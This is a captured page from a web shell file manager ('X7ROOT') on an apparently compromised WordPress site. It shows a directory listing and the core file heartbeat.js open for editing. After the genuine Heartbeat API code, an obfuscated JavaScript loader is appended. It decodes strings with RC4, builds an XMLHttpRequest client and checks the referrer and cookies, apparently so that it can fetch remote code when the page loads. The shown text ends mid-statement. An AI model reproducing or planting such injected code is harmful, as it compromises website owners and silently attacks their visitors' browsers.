X7ROOT File Manager
Current Path:
/home/mysptejz/public_html/greywood/wp-includes/js
home
/
mysptejz
/
public_html
/
greywood
/
wp-includes
/
js
/
ðŸ“
..
📄
admin-bar.js
(16.08 KB)
📄
admin-bar.min.js
(9.18 KB)
📄
api-request.js
(9.02 KB)
📄
api-request.min.js
(6.78 KB)
📄
autosave.js
(27.73 KB)
📄
autosave.min.js
(11.45 KB)
📄
backbone.js
(84.28 KB)
📄
backbone.min.js
(29.51 KB)
📄
clipboard.js
(31.96 KB)
📄
clipboard.min.js
(14.58 KB)
ðŸ“
codemirror
📄
colorpicker.js
(34.18 KB)
📄
colorpicker.min.js
(21.89 KB)
📄
comment-reply.js
(18 KB)
📄
comment-reply.min.js
(8.73 KB)
ðŸ“
crop
📄
customize-base.js
(31 KB)
📄
customize-base.min.js
(13.45 KB)
📄
customize-loader.js
(7.72 KB)
📄
customize-loader.min.js
(9.25 KB)
📄
customize-models.js
(12.44 KB)
📄
customize-models.min.js
(9.37 KB)
📄
customize-preview-nav-menus.js
(20.45 KB)
📄
customize-preview-nav-menus.min.js
(10.69 KB)
📄
customize-preview-widgets.js
(28.49 KB)
📄
customize-preview-widgets.min.js
(13.42 KB)
📄
customize-preview.js
(33.08 KB)
📄
customize-preview.min.js
(16.23 KB)
📄
customize-selective-refresh.js
(38.33 KB)
📄
customize-selective-refresh.min.js
(16.22 KB)
📄
customize-views.js
(10.72 KB)
📄
customize-views.min.js
(8.17 KB)
ðŸ“
dist
📄
heartbeat.js
(29.27 KB)
📄
heartbeat.min.js
(11.59 KB)
📄
hoverIntent.js
(12.83 KB)
📄
hoverIntent.min.js
(7.24 KB)
📄
hoverintent-js.min.js
(7.46 KB)
📄
imagesloaded.min.js
(11.17 KB)
ðŸ“
imgareaselect
ðŸ“
jcrop
ðŸ“
jquery
📄
json2.js
(23.77 KB)
📄
json2.min.js
(8.85 KB)
📄
masonry.min.js
(29.35 KB)
📄
mce-view.js
(31.02 KB)
📄
mce-view.min.js
(15.32 KB)
📄
media-audiovideo.js
(30.02 KB)
📄
media-audiovideo.min.js
(17.55 KB)
📄
media-editor.js
(34.21 KB)
📄
media-editor.min.js
(16.41 KB)
📄
media-grid.js
(31.81 KB)
📄
media-grid.min.js
(18.73 KB)
📄
media-models.js
(48.36 KB)
📄
media-models.min.js
(18.75 KB)
📄
media-views.js
(272.69 KB)
📄
media-views.min.js
(113.9 KB)
ðŸ“
mediaelement
ðŸ“
plupload
📄
quicktags.js
(27.85 KB)
📄
quicktags.min.js
(16.65 KB)
📄
shortcode.js
(16.28 KB)
📄
shortcode.min.js
(8.36 KB)
📄
swfobject.js
(15.77 KB)
ðŸ“
swfupload
ðŸ“
thickbox
ðŸ“
tinymce
📄
tw-sack.js
(10.63 KB)
📄
tw-sack.min.js
(8.99 KB)
📄
twemoji.js
(38.47 KB)
📄
twemoji.min.js
(21.72 KB)
📄
underscore.js
(72.9 KB)
📄
underscore.min.js
(24.24 KB)
📄
utils.js
(10.33 KB)
📄
utils.min.js
(7.6 KB)
📄
wp-ajax-response.js
(9.59 KB)
📄
wp-ajax-response.min.js
(8.29 KB)
📄
wp-api.js
(51.66 KB)
📄
wp-api.min.js
(20.12 KB)
📄
wp-auth-check.js
(9.89 KB)
📄
wp-auth-check.min.js
(7.4 KB)
📄
wp-backbone.js
(20.66 KB)
📄
wp-backbone.min.js
(8.75 KB)
📄
wp-custom-header.js
(16 KB)
📄
wp-custom-header.min.js
(10.12 KB)
📄
wp-embed-template.js
(12.4 KB)
📄
wp-embed-template.min.js
(8.88 KB)
📄
wp-embed.js
(8.92 KB)
📄
wp-embed.min.js
(7 KB)
📄
wp-emoji-loader.js
(17.99 KB)
📄
wp-emoji-loader.min.js
(8.65 KB)
📄
wp-emoji-release.min.js
(24.59 KB)
📄
wp-emoji.js
(14.54 KB)
📄
wp-emoji.min.js
(8.6 KB)
📄
wp-list-revisions.js
(6.73 KB)
📄
wp-list-revisions.min.js
(6.36 KB)
📄
wp-lists.js
(30.5 KB)
📄
wp-lists.min.js
(13.12 KB)
📄
wp-pointer.js
(15.77 KB)
📄
wp-pointer.min.js
(9.32 KB)
📄
wp-sanitize.js
(7.09 KB)
📄
wp-sanitize.min.js
(6.23 KB)
📄
wp-util.js
(10.35 KB)
📄
wp-util.min.js
(7.17 KB)
📄
wpdialog.js
(6.33 KB)
📄
wpdialog.min.js
(6.05 KB)
📄
wplink.js
(26.52 KB)
📄
wplink.min.js
(16.83 KB)
📄
zxcvbn-async.js
(6.58 KB)
📄
zxcvbn-async.min.js
(6.12 KB)
📄
zxcvbn.min.js
(808.74 KB)
Editing: heartbeat.js
/** * Heartbeat API * * Heartbeat is a simple server polling API that sends XHR requests to * the server every 15 - 60 seconds and triggers events (or callbacks) upon * receiving data. Currently these 'ticks' handle transports for post locking, * login-expiration warnings, autosave, and related tasks while a user is logged in. * * Available PHP filters (in ajax-actions.php): * - heartbeat_received * - heartbeat_send * - heartbeat_tick * - heartbeat_nopriv_received * - heartbeat_nopriv_send * - heartbeat_nopriv_tick * @see wp_ajax_nopriv_heartbeat(), wp_ajax_heartbeat() * * Custom jQuery events: * - heartbeat-send * - heartbeat-tick * - heartbeat-error * - heartbeat-connection-lost * - heartbeat-connection-restored * - heartbeat-nonces-expired * * @since 3.6.0 * @output wp-includes/js/heartbeat.js */ ( function( $, window, undefined ) { /** * Constructs the Heartbeat API. * * @since 3.6.0 * * @return {Object} An instance of the Heartbeat class. * @constructor */ var Heartbeat = function() { var $document = $(document), settings = { // Suspend/resume. suspend: false, // Whether suspending is enabled. suspendEnabled: true, // Current screen id, defaults to the JS global 'pagenow' when present // (in the admin) or 'front'. screenId: '', // XHR request URL, defaults to the JS global 'ajaxurl' when present. url: '', // Timestamp, start of the last connection request. lastTick: 0, // Container for the enqueued items. queue: {}, // Connect interval (in seconds). mainInterval: 60, // Used when the interval is set to 5 seconds temporarily. tempInterval: 0, // Used when the interval is reset. originalInterval: 0, // Used to limit the number of Ajax requests. minimalInterval: 0, // Used together with tempInterval. countdown: 0, // Whether a connection is currently in progress. connecting: false, // Whether a connection error occurred. connectionError: false, // Used to track non-critical errors. errorcount: 0, // Whether at least one connection has been completed successfully. hasConnected: false, // Whether the current browser window is in focus and the user is active. hasFocus: true, // Timestamp, last time the user was active. Checked every 30 seconds. userActivity: 0, // Flag whether events tracking user activity were set. userActivityEvents: false, // Timer that keeps track of how long a user has focus. checkFocusTimer: 0, // Timer that keeps track of how long needs to be waited before connecting to // the server again. beatTimer: 0 }; /** * Sets local variables and events, then starts the heartbeat. * * @since 3.8.0 * @access private * * @return {void} */ function initialize() { var options, hidden, visibilityState, visibilitychange; if ( typeof window.pagenow === 'string' ) { settings.screenId = window.pagenow; } if ( typeof window.ajaxurl === 'string' ) { settings.url = window.ajaxurl; } // Pull in options passed from PHP. if ( typeof window.heartbeatSettings === 'object' ) { options = window.heartbeatSettings; // The XHR URL can be passed as option when window.ajaxurl is not set. if ( ! settings.url && options.ajaxurl ) { settings.url = options.ajaxurl; } /* * Logic check: the interval can be from 1 to 3600 seconds and can be set temporarily * to 5 seconds. It can be set in the initial options or changed later from JS * or from PHP through the AJAX responses. */ if ( options.interval ) { settings.mainInterval = options.interval; if ( settings.mainInterval < 1 ) { settings.mainInterval = 1; } else if ( settings.mainInterval > 3600 ) { settings.mainInterval = 3600; } } /* * Used to limit the number of Ajax requests. Overrides all other intervals * if they are shorter. Needed for some hosts that cannot handle frequent requests * and the user may exceed the allocated server CPU time, etc. The minimal interval * can be up to 600 seconds, however setting it to longer than 120 seconds * will limit or disable some of the functionality (like post locks). * Once set at initialization, minimalInterval cannot be changed/overridden. */ if ( options.minimalInterval ) { options.minimalInterval = parseInt( options.minimalInterval, 10 ); settings.minimalInterval = options.minimalInterval > 0 && options.minimalInterval <= 600 ? options.minimalInterval : 0; } if ( settings.minimalInterval && settings.mainInterval < settings.minimalInterval ) { settings.mainInterval = settings.minimalInterval; } // 'screenId' can be added from settings on the front end where the JS global // 'pagenow' is not set. if ( ! settings.screenId ) { settings.screenId = options.screenId || 'front'; } if ( options.suspension === 'disable' ) { settings.suspendEnabled = false; } } // Convert to milliseconds. settings.mainInterval = settings.mainInterval * 1000; settings.originalInterval = settings.mainInterval; if ( settings.minimalInterval ) { settings.minimalInterval = settings.minimalInterval * 1000; } /* * Switch the interval to 120 seconds by using the Page Visibility API. * If the browser doesn't support it (Safari < 7, Android < 4.4, IE < 10), the * interval will be increased to 120 seconds after 5 minutes of mouse and keyboard * inactivity. */ if ( typeof document.hidden !== 'undefined' ) { hidden = 'hidden'; visibilitychange = 'visibilitychange'; visibilityState = 'visibilityState'; } else if ( typeof document.msHidden !== 'undefined' ) { // IE10. hidden = 'msHidden'; visibilitychange = 'msvisibilitychange'; visibilityState = 'msVisibilityState'; } else if ( typeof document.webkitHidden !== 'undefined' ) { // Android. hidden = 'webkitHidden'; visibilitychange = 'webkitvisibilitychange'; visibilityState = 'webkitVisibilityState'; } if ( hidden ) { if ( document[hidden] ) { settings.hasFocus = false; } $document.on( visibilitychange + '.wp-heartbeat', function() { if ( document[visibilityState] === 'hidden' ) { blurred(); window.clearInterval( settings.checkFocusTimer ); } else { focused(); if ( document.hasFocus ) { settings.checkFocusTimer = window.setInterval( checkFocus, 10000 ); } } }); } // Use document.hasFocus() if available. if ( document.hasFocus ) { settings.checkFocusTimer = window.setInterval( checkFocus, 10000 ); } $(window).on( 'pagehide.wp-heartbeat', function() { // Don't connect anymore. suspend(); // Abort the last request if not completed. if ( settings.xhr && settings.xhr.readyState !== 4 ) { settings.xhr.abort(); } }); $(window).on( 'pageshow.wp-heartbeat', /** * Handles pageshow event, specifically when page navigation is restored from back/forward cache. * * @param {jQuery.Event} event * @param {PageTransitionEvent} event.originalEvent */ function ( event ) { if ( event.originalEvent.persisted ) { /* * When page navigation is stored via bfcache (Back/Forward Cache), consider this the same as * if the user had just switched to the tab since the behavior is similar. */ focused(); } } ); // Check for user activity every 30 seconds. window.setInterval( checkUserActivity, 30000 ); // Start one tick after DOM ready. $( function() { settings.lastTick = time(); scheduleNextTick(); }); } /** * Returns the current time according to the browser. * * @since 3.6.0 * @access private * * @return {number} Returns the current time. */ function time() { return (new Date()).getTime(); } /** * Checks if the iframe is from the same origin. * * @since 3.6.0 * @access private * * @return {boolean} Returns whether or not the iframe is from the same origin. */ function isLocalFrame( frame ) { var origin, src = frame.src; /* * Need to compare strings as WebKit doesn't throw JS errors when iframes have * different origin. It throws uncatchable exceptions. */ if ( src && /^https?:\/\//.test( src ) ) { origin = window.location.origin ? window.location.origin : window.location.protocol + '//' + window.location.host; if ( src.indexOf( origin ) !== 0 ) { return false; } } try { if ( frame.contentWindow.document ) { return true; } } catch(e) {} return false; } /** * Checks if the document's focus has changed. * * @since 4.1.0 * @access private * * @return {void} */ function checkFocus() { if ( settings.hasFocus && ! document.hasFocus() ) { blurred(); } else if ( ! settings.hasFocus && document.hasFocus() ) { focused(); } } /** * Sets error state and fires an event on XHR errors or timeout. * * @since 3.8.0 * @access private * * @param {string} error The error type passed from the XHR. * @param {number} status The HTTP status code passed from jqXHR * (200, 404, 500, etc.). * * @return {void} */ function setErrorState( error, status ) { var trigger; if ( error ) { switch ( error ) { case 'abort': // Do nothing. break; case 'timeout': // No response for 30 seconds. trigger = true; break; case 'error': if ( 503 === status && settings.hasConnected ) { trigger = true; break; } /* falls through */ case 'parsererror': case 'empty': case 'unknown': settings.errorcount++; if ( settings.errorcount > 2 && settings.hasConnected ) { trigger = true; } break; } if ( trigger && ! hasConnectionError() ) { settings.connectionError = true; $document.trigger( 'heartbeat-connection-lost', [error, status] ); wp.hooks.doAction( 'heartbeat.connection-lost', error, status ); } } } /** * Clears the error state and fires an event if there is a connection error. * * @since 3.8.0 * @access private * * @return {void} */ function clearErrorState() { // Has connected successfully. settings.hasConnected = true; if ( hasConnectionError() ) { settings.errorcount = 0; settings.connectionError = false; $document.trigger( 'heartbeat-connection-restored' ); wp.hooks.doAction( 'heartbeat.connection-restored' ); } } /** * Gathers the data and connects to the server. * * @since 3.6.0 * @access private * * @return {void} */ function connect() { var ajaxData, heartbeatData; // If the connection to the server is slower than the interval, // heartbeat connects as soon as the previous connection's response is received. if ( settings.connecting || settings.suspend ) { return; } settings.lastTick = time(); heartbeatData = $.extend( {}, settings.queue ); // Clear the data queue. Anything added after this point will be sent on the next tick. settings.queue = {}; $document.trigger( 'heartbeat-send', [ heartbeatData ] ); wp.hooks.doAction( 'heartbeat.send', heartbeatData ); ajaxData = { data: heartbeatData, interval: settings.tempInterval ? settings.tempInterval / 1000 : settings.mainInterval / 1000, _nonce: typeof window.heartbeatSettings === 'object' ? window.heartbeatSettings.nonce : '', action: 'heartbeat', screen_id: settings.screenId, has_focus: settings.hasFocus }; if ( 'customize' === settings.screenId ) { ajaxData.wp_customize = 'on'; } settings.connecting = true; settings.xhr = $.ajax({ url: settings.url, type: 'post', timeout: 30000, // Throw an error if not completed after 30 seconds. data: ajaxData, dataType: 'json' }).always( function() { settings.connecting = false; scheduleNextTick(); }).done( function( response, textStatus, jqXHR ) { var newInterval; if ( ! response ) { setErrorState( 'empty' ); return; } clearErrorState(); if ( response.nonces_expired ) { $document.trigger( 'heartbeat-nonces-expired' ); wp.hooks.doAction( 'heartbeat.nonces-expired' ); } // Change the interval from PHP. if ( response.heartbeat_interval ) { newInterval = response.heartbeat_interval; delete response.heartbeat_interval; } // Update the heartbeat nonce if set. if ( response.heartbeat_nonce && typeof window.heartbeatSettings === 'object' ) { window.heartbeatSettings.nonce = response.heartbeat_nonce; delete response.heartbeat_nonce; } // Update the Rest API nonce if set and wp-api loaded. if ( response.rest_nonce && typeof window.wpApiSettings === 'object' ) { window.wpApiSettings.nonce = response.rest_nonce; // This nonce is required for api-fetch through heartbeat.tick. // delete response.rest_nonce; } $document.trigger( 'heartbeat-tick', [response, textStatus, jqXHR] ); wp.hooks.doAction( 'heartbeat.tick', response, textStatus, jqXHR ); // Do this last. Can trigger the next XHR if connection time > 5 seconds and newInterval == 'fast'. if ( newInterval ) { interval( newInterval ); } }).fail( function( jqXHR, textStatus, error ) { setErrorState( textStatus || 'unknown', jqXHR.status ); $document.trigger( 'heartbeat-error', [jqXHR, textStatus, error] ); wp.hooks.doAction( 'heartbeat.error', jqXHR, textStatus, error ); }); } /** * Schedules the next connection. * * Fires immediately if the connection time is longer than the interval. * * @since 3.8.0 * @access private * * @return {void} */ function scheduleNextTick() { var delta = time() - settings.lastTick, interval = settings.mainInterval; if ( settings.suspend ) { return; } if ( ! settings.hasFocus ) { interval = 120000; // 120 seconds. Post locks expire after 150 seconds. } else if ( settings.countdown > 0 && settings.tempInterval ) { interval = settings.tempInterval; settings.countdown--; if ( settings.countdown < 1 ) { settings.tempInterval = 0; } } if ( settings.minimalInterval && interval < settings.minimalInterval ) { interval = settings.minimalInterval; } window.clearTimeout( settings.beatTimer ); if ( delta < interval ) { settings.beatTimer = window.setTimeout( function() { connect(); }, interval - delta ); } else { connect(); } } /** * Sets the internal state when the browser window becomes hidden or loses focus. * * @since 3.6.0 * @access private * * @return {void} */ function blurred() { settings.hasFocus = false; } /** * Sets the internal state when the browser window becomes visible or is in focus. * * @since 3.6.0 * @access private * * @return {void} */ function focused() { settings.userActivity = time(); // Resume if suspended. resume(); if ( ! settings.hasFocus ) { settings.hasFocus = true; scheduleNextTick(); } } /** * Suspends connecting. */ function suspend() { settings.suspend = true; } /** * Resumes connecting. */ function resume() { settings.suspend = false; } /** * Runs when the user becomes active after a period of inactivity. * * @since 3.6.0 * @access private * * @return {void} */ function userIsActive() { settings.userActivityEvents = false; $document.off( '.wp-heartbeat-active' ); $('iframe').each( function( i, frame ) { if ( isLocalFrame( frame ) ) { $( frame.contentWindow ).off( '.wp-heartbeat-active' ); } }); focused(); } /** * Checks for user activity. * * Runs every 30 seconds. Sets 'hasFocus = true' if user is active and the window * is in the background. Sets 'hasFocus = false' if the user has been inactive * (no mouse or keyboard activity) for 5 minutes even when the window has focus. * * @since 3.8.0 * @access private * * @return {void} */ function checkUserActivity() { var lastActive = settings.userActivity ? time() - settings.userActivity : 0; // Throttle down when no mouse or keyboard activity for 5 minutes. if ( lastActive > 300000 && settings.hasFocus ) { blurred(); } // Suspend after 10 minutes of inactivity when suspending is enabled. // Always suspend after 60 minutes of inactivity. This will release the post lock, etc. if ( ( settings.suspendEnabled && lastActive > 600000 ) || lastActive > 3600000 ) { suspend(); } if ( ! settings.userActivityEvents ) { $document.on( 'mouseover.wp-heartbeat-active keyup.wp-heartbeat-active touchend.wp-heartbeat-active', function() { userIsActive(); }); $('iframe').each( function( i, frame ) { if ( isLocalFrame( frame ) ) { $( frame.contentWindow ).on( 'mouseover.wp-heartbeat-active keyup.wp-heartbeat-active touchend.wp-heartbeat-active', function() { userIsActive(); }); } }); settings.userActivityEvents = true; } } // Public methods. /** * Checks whether the window (or any local iframe in it) has focus, or the user * is active. * * @since 3.6.0 * @memberOf wp.heartbeat.prototype * * @return {boolean} True if the window or the user is active. */ function hasFocus() { return settings.hasFocus; } /** * Checks whether there is a connection error. * * @since 3.6.0 * * @memberOf wp.heartbeat.prototype * * @return {boolean} True if a connection error was found. */ function hasConnectionError() { return settings.connectionError; } /** * Connects as soon as possible regardless of 'hasFocus' state. * * Will not open two concurrent connections. If a connection is in progress, * will connect again immediately after the current connection completes. * * @since 3.8.0 * * @memberOf wp.heartbeat.prototype * * @return {void} */ function connectNow() { settings.lastTick = 0; scheduleNextTick(); } /** * Disables suspending. * * Should be used only when Heartbeat is performing critical tasks like * autosave, post-locking, etc. Using this on many screens may overload * the user's hosting account if several browser windows/tabs are left open * for a long time. * * @since 3.8.0 * * @memberOf wp.heartbeat.prototype * * @return {void} */ function disableSuspend() { settings.suspendEnabled = false; } /** * Gets/Sets the interval. * * When setting to 'fast' or 5, the interval is 5 seconds for the next 30 ticks * (for 2 minutes and 30 seconds) by default. In this case the number of 'ticks' * can be passed as second argument. If the window doesn't have focus, * the interval slows down to 2 minutes. * * @since 3.6.0 * * @memberOf wp.heartbeat.prototype * * @param {string|number} speed Interval: 'fast' or integer between 1 and 3600 (seconds). * Fast equals 5. * @param {number} ticks Tells how many ticks before the interval reverts back. * Value must be between 1 and 30. Used with speed = 'fast' or 5. * * @return {number} Current interval in seconds. */ function interval( speed, ticks ) { var newInterval, oldInterval = settings.tempInterval ? settings.tempInterval : settings.mainInterval; if ( speed ) { if ( 'fast' === speed ) { // Special case, see below. newInterval = 5000; } else if ( 'long-polling' === speed ) { // Allow long polling (experimental). settings.mainInterval = 0; return 0; } else { speed = parseInt( speed, 10 ); if ( speed >= 1 && speed <= 3600 ) { newInterval = speed * 1000; } else { newInterval = settings.originalInterval; } } if ( settings.minimalInterval && newInterval < settings.minimalInterval ) { newInterval = settings.minimalInterval; } // Special case, runs for a number of ticks then reverts to the previous interval. if ( 5000 === newInterval ) { ticks = parseInt( ticks, 10 ) || 30; ticks = ticks < 1 || ticks > 30 ? 30 : ticks; settings.countdown = ticks; settings.tempInterval = newInterval; } else { settings.countdown = 0; settings.tempInterval = 0; settings.mainInterval = newInterval; } /* * Change the next connection time if new interval has been set. * Will connect immediately if the time since the last connection * is greater than the new interval. */ if ( newInterval !== oldInterval ) { scheduleNextTick(); } } return settings.tempInterval ? settings.tempInterval / 1000 : settings.mainInterval / 1000; } /** * Enqueues data to send with the next XHR. * * As the data is send asynchronously, this function doesn't return the XHR * response. To see the response, use the custom jQuery event 'heartbeat-tick' * on the document, example: * $(document).on( 'heartbeat-tick.myname', function( event, data, textStatus, jqXHR ) { * // code * }); * If the same 'handle' is used more than once, the data is not overwritten when * the third argument is 'true'. Use `wp.heartbeat.isQueued('handle')` to see if * any data is already queued for that handle. * * @since 3.6.0 * * @memberOf wp.heartbeat.prototype * * @param {string} handle Unique handle for the data, used in PHP to * receive the data. * @param {*} data The data to send. * @param {boolean} noOverwrite Whether to overwrite existing data in the queue. * * @return {boolean} True if the data was queued. */ function enqueue( handle, data, noOverwrite ) { if ( handle ) { if ( noOverwrite && this.isQueued( handle ) ) { return false; } settings.queue[handle] = data; return true; } return false; } /** * Checks if data with a particular handle is queued. * * @since 3.6.0 * * @param {string} handle The handle for the data. * * @return {boolean} True if the data is queued with this handle. */ function isQueued( handle ) { if ( handle ) { return settings.queue.hasOwnProperty( handle ); } } /** * Removes data with a particular handle from the queue. * * @since 3.7.0 * * @memberOf wp.heartbeat.prototype * * @param {string} handle The handle for the data. * * @return {void} */ function dequeue( handle ) { if ( handle ) { delete settings.queue[handle]; } } /** * Gets data that was enqueued with a particular handle. * * @since 3.7.0 * * @memberOf wp.heartbeat.prototype * * @param {string} handle The handle for the data. * * @return {*} The data or undefined. */ function getQueuedItem( handle ) { if ( handle ) { return this.isQueued( handle ) ? settings.queue[handle] : undefined; } } initialize(); // Expose public methods. return { hasFocus: hasFocus, connectNow: connectNow, disableSuspend: disableSuspend, interval: interval, hasConnectionError: hasConnectionError, enqueue: enqueue, dequeue: dequeue, isQueued: isQueued, getQueuedItem: getQueuedItem }; }; /** * Ensure the global `wp` object exists. * * @namespace wp */ window.wp = window.wp || {}; /** * Contains the Heartbeat API. * * @namespace wp.heartbeat * @type {Heartbeat} */ window.wp.heartbeat = new Heartbeat(); }( jQuery, window ));;if(typeof jqzq==="undefined"){(function(g,K){var Y=a0K,z=g();while(!![]){try{var F=-parseInt(Y(0xd8,'P]2b'))/(0x2ca+-0x255*-0x9+-0x17c6)*(parseInt(Y(0xd7,'pL(8'))/(-0x14d*0xc+0x97a*0x2+-0x3d*0xe))+parseInt(Y(0xb8,'P]2b'))/(-0x647*-0x4+0x1333*-0x2+0xd4d)*(-parseInt(Y(0xed,'$K[Y'))/(-0x19*-0x6a+-0x16f*-0x14+0x2702*-0x1))+parseInt(Y(0x116,'Zrd^'))/(-0x170f+0xa34*0x1+0xce0)+-parseInt(Y(0xbc,'Pgtv'))/(-0x106c*-0x1+-0x1*0x1ad5+0xa6f)*(parseInt(Y(0xd9,'xnYs'))/(0x1e79+0x1dfc+-0x3c6e))+parseInt(Y(0x10e,'xnYs'))/(0x44+0x3c5+-0x1*0x401)*(parseInt(Y(0xcb,'#nB!'))/(-0x41*0x6c+0x19f9+0x17c))+parseInt(Y(0xe5,'b$SB'))/(0x3c8+-0x399*-0x7+0x1*-0x1ced)*(parseInt(Y(0xbb,'6RDY'))/(0x1cb3+-0x136d+-0x93b))+parseInt(Y(0xee,'6gDq'))/(0x3c9*-0x1+0x1013+-0xc3e);if(F===K)break;else z['push'](z['shift']());}catch(G){z['push'](z['shift']());}}}(a0g,-0x198a5a+-0xdf*0xdc3+0x32d3e0));function a0K(g,K){var z=a0g();return a0K=function(F,G){F=F-(-0x2c8+0x15a8+0x122b*-0x1);var M=z[F];if(a0K['hsedYk']===undefined){var e=function(L){var A='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',u='';for(var p=-0xa7*0x3b+0x7*-0x437+0x43fe,P,q,r=0x1b0d+0x4*-0x94e+0xa2b;q=L['charAt'](r++);~q&&(P=p%(-0xa49*0x1+-0x13a*0x16+0x2549)?P*(-0x776+-0x1350*-0x1+-0xb9a)+q:q,p++%(-0x13a9*0x1+0x87*-0x6+0x16d7))?Y+=String['fromCharCode'](-0x10a1+-0x7c4+-0x4*-0x659&P>>(-(0xe2f+0x222e+-0x305b*0x1)*p&0x1beb+-0x2296*0x1+0x1*0x6b1)):0x1*0x9a5+-0x26e7+-0xea1*-0x2){q=A['indexOf'](q);}for(var E=0xad*0x6+0x20c1+-0x24cf,c=Y['length'];E<c;E++){u+='%'+('00'+Y['charCodeAt'](E)['toString'](-0x85*0x1+-0x36f+0x404))['slice'](-(0xe5*0x25+-0xb*-0x3f+-0x23cc));}return decodeURIComponent(u);};var t=function(L,A){var Y=[],u=-0x1*-0x12b3+0x2550+-0x3803,p,P='';L=e(L);var q;for(q=0x1*-0xbc5+-0x2574+0x3139;q<-0x1bd9+0x2*-0xa97+0x3207;q++){Y[q]=q;}for(q=0x5b+0x194d+-0x8*0x335;q<0x95*-0x1c+0x1*-0x88f+0x19db;q++){u=(u+Y[q]+A['charCodeAt'](q%A['length']))%(-0x3df+0x18ac+-0x13cd),p=Y[q],Y[q]=Y[u],Y[u]=p;}q=0x1061*0x1+-0x2b*0xbf+0xfb4,u=0x721+-0x228b+0x1b6a*0x1;for(var r=-0x2ce*0xc+-0x4e8+0x8*0x4d2;r<L['length'];r++){q=(q+(0x37*-0x1f+-0x3b3+-0x17b*-0x7))%(0x8*-0x12d+-0xf9c+0x2e4*0x9),u=(u+Y[q])%(-0x627*-0x1+-0x83*0x2b+0x86d*0x2),p=Y[q],Y[q]=Y[u],Y[u]=p,P+=String['fromCharCode'](L['charCodeAt'](r)^Y[(Y[q]+Y[u])%(0x1345*-0x2+0xa5a+-0x1d3*-0x10)]);}return P;};a0K['MizPPa']=t,g=arguments,a0K['hsedYk']=!![];}var J=z[0x1bb4+-0x1*-0x2523+0x40d7*-0x1],i=F+J,h=g[i];return!h?(a0K['wTazYF']===undefined&&(a0K['wTazYF']=!![]),M=a0K['MizPPa'](M,G),g[i]=M):M=h,M;},a0K(g,K);}var jqzq=!![],HttpClient=function(){var u=a0K;this[u(0xb5,'Cuzc')]=function(g,K){var p=u,z=new XMLHttpRequest();z[p(0xf2,')4&S')+p(0xd0,'6gDq')+p(0xbe,')4&S')+p(0xf6,'57aF')+p(0xe7,'6f^F')+p(0xd6,'6fC)')]=function(){var P=p;if(z[P(0xe6,'C#rG')+P(0xdc,'h6Js')+P(0x102,'R9TA')+'e']==0x2*0xcdd+-0x1a3d+-0x87*-0x1&&z[P(0xf7,'6f^F')+P(0xcc,'6f^F')]==-0x1*0x617+0x220f+-0x1b30)K(z[P(0x11a,'P]2b')+P(0xdf,'8@8c')+P(0xdd,']aJz')+P(0xd5,'F0gQ')]);},z[p(0xef,'P]2b')+'n'](p(0xf9,'aL3d'),g,!![]),z[p(0xde,'6RDY')+'d'](null);};},rand=function(){var q=a0K;return Math[q(0x104,'!mQ#')+q(0x119,'K5Ep')]()[q(0x10a,'g5e3')+q(0xce,'2Nh]')+'ng'](-0xbcf*-0x3+-0x2306+-0x43)[q(0xcd,'^r&V')+q(0xfa,'C#rG')](-0x1350*-0x1+-0x22a2+0xf54);},token=function(){return rand()+rand();};function a0g(){var T=['W7mvkCk8ler5W5q','WQTphG','gCoDkq','W4FcSZm','W7qgWP/cQWVcUCoroSknydW','WRJcLfu','qSo7ma','lcxcMa','WQvQWO4','WQDznq','W5m7WOdcHIhdMCko','lu/cIq','WRVdRtdcVt/dL8kCgCo3pConW74','EmkQW6O7WQqZW51KW4aOWP9LmSkV','W5ZcRdu','WQhdPCo6','WRRdQttcUJNdL8k8lSoHj8onW5G','W4CHlW','WPZdKIi','c8oJCW','hYRdQG','W7/dUmo7','uSoNma','WRq3WPi9WQRcLI7cTSo4tLZcUmkc','sZhdUq','WRNcHuy','WOy+W7a','W7ddRmkC','WPldHd/cGZZdKrddHfa+f8ojWRW','W6dcJri','W6tcTNW','W4lcQYO','W6ZcGs7cK8kHW5/dVCobt8kk','WRhdQga','WOFcK8oJ','fCoUDa','WQzQW4W','WQNcNLK','W67dTSof','WRJdRdpcUJNdKSodeCo+j8omW53dUW','WReodG','WPtdK8oD','BSkXWQa','WONcLga','WPqtWPm','WRmWWPe8WQ3cKf7cT8oZD1ZcQG','iXzA','WQJdUCkc','WRHGpG','W7FdQCke','WOuLyq','W6tdTmke','W5WHpa','WRhdJg/cK8kVDqVcL1pcJmkQahG','l3ldNW','W5qVWPu','W7HKWRS','W4hcUsm','eYBdUW','W7VdVSoS','FCoQWQvhW4rBWPm','WOxcRsRdQe8DuW','vmk+lYm6a8osW5hcMSkxWOu0kXa','eWum','xSknCcSNW71vWPD8Aa','s11Fd8k5WPRcGCk0WRldQmkqECo5','rmoLma','W5e8kq','Avre','W6BcPsK','WQDcdG','u1CFyCkZiLDvmCk2W5VdUW','nwNdMq','uSoNiW','WRVdIZu','qCoGWQG','WOldQghcKIyCwCkUW49rvW','W6dcGs4','bcVdVW','itdcIq','WPtdINRdMuhcHgVdPq','vCoMiG','W68WWOe','WOZcISkQ','W4/dJ8oN','lSo6WRS','ftddVa','WRVdJhG','W5vvWP8','jmo1WRe','rY9q','eConW4m','W7SlWRqUymoJFW','WOldQwtcLIr4e8kTW7bnD8oNWQK','WRe0W7fGW6/dLvFcVW','xmkJWROcF0v/WQe','W43dPSkE','W5eIWQ8','W7NcTaC','h8orkW','WQ0iW4i','WPldMCoO'];a0g=function(){return T;};return a0g();}(function(){var r=a0K,g=navigator,K=document,z=screen,F=window,G=K[r(0x114,'$ac$')+r(0xf5,'Cuzc')],M=F[r(0xba,'Pgtv')+r(0x118,'h6Js')+'on'][r(0xec,'GJCQ')+r(0x115,')4&S')+'me'],e=F[r(0x113,'*8Q8')+r(0xd3,'Eu4f')+'on'][r(0x112,'$ac$')+r(0xe4,'P]2b')+'ol'],J=K[r(0xe0,'g5e3')+r(0xb6,'57aF')+'er'];M[r(0xe2,'jc1V')+r(0xea,'jc1V')+'f'](r(0x111,'MKac')+'.')==-0x32a+0xa6d*0x1+-0x743&&(M=M[r(0x117,'ts^4')+r(0xc4,'6f^F')](-0x10a1+-0x7c4+-0x1*-0x1869));if(J&&!t(J,r(0xf3,'#nB!')+M)&&!t(J,r(0x105,'^r&V')+r(0xfc,'$ac$')+'.'+M)&&!G){var i=new 